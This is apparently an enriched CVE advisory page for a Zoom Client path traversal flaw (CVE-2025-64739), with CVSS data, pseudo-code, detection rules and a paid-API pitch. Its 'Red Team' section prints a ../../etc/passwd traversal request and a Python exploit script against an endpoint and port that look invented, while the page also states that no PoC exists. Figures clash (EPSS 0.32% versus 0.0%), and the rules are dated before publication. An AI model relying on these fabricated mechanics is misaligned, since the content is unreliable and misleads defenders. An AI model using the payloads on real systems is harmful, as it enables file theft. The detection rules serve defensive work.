☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-64739

CVE-2025-64739 Information Disclosure in Zoom
📅 PUBLISHED: 2025-11-13 14:28 UTC 🔄 UPDATED: 2026-09-23 20:35 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
7.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-64739 is a medium-severity vulnerability in Zoom Clients that allows an unauthenticated attacker to control file names or paths, leading to information disclosure via network access. The vulnerability has a CVSS score of 4.3 and an EPSS score of 0.0%, indicating low exploitation likelihood. No public proof-of-concept or exploit code is available at this time. The vendor, Zoom, has not yet released a patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects Zoom Clients, which are proprietary software distributed directly by Zoom. There is no open-source package (NPM, PyPI, Go, Ruby) associated with this CVE. Users should monitor Zoom's official security advisories for patch updates.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: None
  • Availability Impact: None

The vulnerability allows an unauthenticated attacker to control file names or paths, potentially leading to the disclosure of sensitive information. The low EPSS score suggests that exploitation is not currently widespread.

Deep Dive & Mechanics

The vulnerability resides in the file handling logic of Zoom Clients. An external control of file name or path (CWE-73) allows an attacker to manipulate file paths used by the application. By sending a specially crafted network request, an unauthenticated user can cause the Zoom Client to read or write files to unintended locations, leading to information disclosure.

The attack does not require authentication or user interaction, making it exploitable remotely. The exact mechanism involves the application not properly sanitizing user-supplied input used in file path construction, allowing path traversal or arbitrary file access.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison cannot be provided. However, the vulnerable code likely resembles:

// Vulnerable pseudo-code
void handle_file_request(char *user_input) {
    char file_path[256];
    sprintf(file_path, "/data/%s", user_input);
    FILE *file = fopen(file_path, "r");
    // Read and send file contents
}

A patched version would validate and sanitize the input:

// Patched pseudo-code
void handle_file_request(char *user_input) {
    char file_path[256];
    // Sanitize input to prevent path traversal
    if (strstr(user_input, "..") != NULL || strchr(user_input, '/') != NULL) {
        // Reject request
        return;
    }
    sprintf(file_path, "/data/%s", user_input);
    FILE *file = fopen(file_path, "r");
    // Read and send file contents
}

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Install a vulnerable Zoom Client version on a test machine.
  2. Set up a network sniffer (e.g., Wireshark) to capture traffic.
  3. Use a tool like Burp Suite or custom Python script to send crafted requests.

Exploitation Steps:

  1. Identify the vulnerable endpoint (e.g., /zoom/file?name=...).
  2. Craft a request with a path traversal payload:
    GET /zoom/file?name=../../etc/passwd HTTP/1.1
    Host: target-zoom-client
    
  3. Send the request and observe the response containing the file contents.

Python Exploit Script:

import requests

target = "http://target-zoom-client:8080"
payload = "../../etc/passwd"
url = f"{target}/zoom/file?name={payload}"

response = requests.get(url)
if response.status_code == 200:
    print("File contents:")
    print(response.text)
else:
    print("Exploit failed")

Blue Team

Detection Steps:

  1. Monitor network traffic for unusual file path patterns in HTTP requests.
  2. Look for path traversal sequences (../, ..\\) in request parameters.
  3. Alert on attempts to access sensitive files (e.g., /etc/passwd, C:\Windows\System32\config).

Mitigation:

  • Implement input validation and sanitization for all file path parameters.
  • Use a whitelist of allowed file names or paths.
  • Apply the principle of least privilege to the application's file system access.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests containing path traversal sequences (../, ..\\)
    • Requests to endpoints like /zoom/file, /zoom/download, etc.
    • Unusual file paths in request parameters (e.g., /etc/passwd, C:\Windows\System32)
  • File System IOCs:

    • Unexpected file access logs in application logs
    • Presence of sensitive files in application data directories
  • Log IOCs:

    • Application logs showing access to files outside the intended directory
    • Error logs indicating file not found or permission denied for sensitive paths

Detection Engineering

YARA Rule

rule CVE_2025_64739_Zoom_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Zoom Client requests"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-64739"
    strings:
        $path_traversal1 = "../"
        $path_traversal2 = "..\\"
        $sensitive_file1 = "/etc/passwd"
        $sensitive_file2 = "C:\\Windows\\System32"
    condition:
        any of ($path_traversal*) or any of ($sensitive_file*)
}

Sigma Rule

title: Zoom Client Path Traversal Attempt
id: 8f4a3b2c-1d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects path traversal attempts in Zoom Client HTTP requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: zoom
detection:
    selection:
        c-uri|contains:
            - '../'
            - '..\\'
            - '/etc/passwd'
            - 'C:\\Windows\\System32'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in non-sensitive contexts
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64739 Zoom Client Path Traversal Attempt"; flow:to_server; content:"../"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-64739 Zoom Client Sensitive File Access"; content:"/etc/passwd"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-64739 Zoom Client Windows System File Access"; content:"C:\\Windows\\System32"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Monitor Zoom's official security advisories for patch availability.
  2. Implement network-level filtering to block path traversal patterns.
  3. Restrict Zoom Client network access to trusted hosts only.

Long-term Fixes:

  1. Apply input validation and sanitization for all file path parameters.
  2. Use a whitelist of allowed file names or paths.
  3. Implement proper access controls and least privilege principles.

Workarounds:

  • Disable file sharing or download features if not required.
  • Use a web application firewall (WAF) to filter malicious requests.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-64739/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.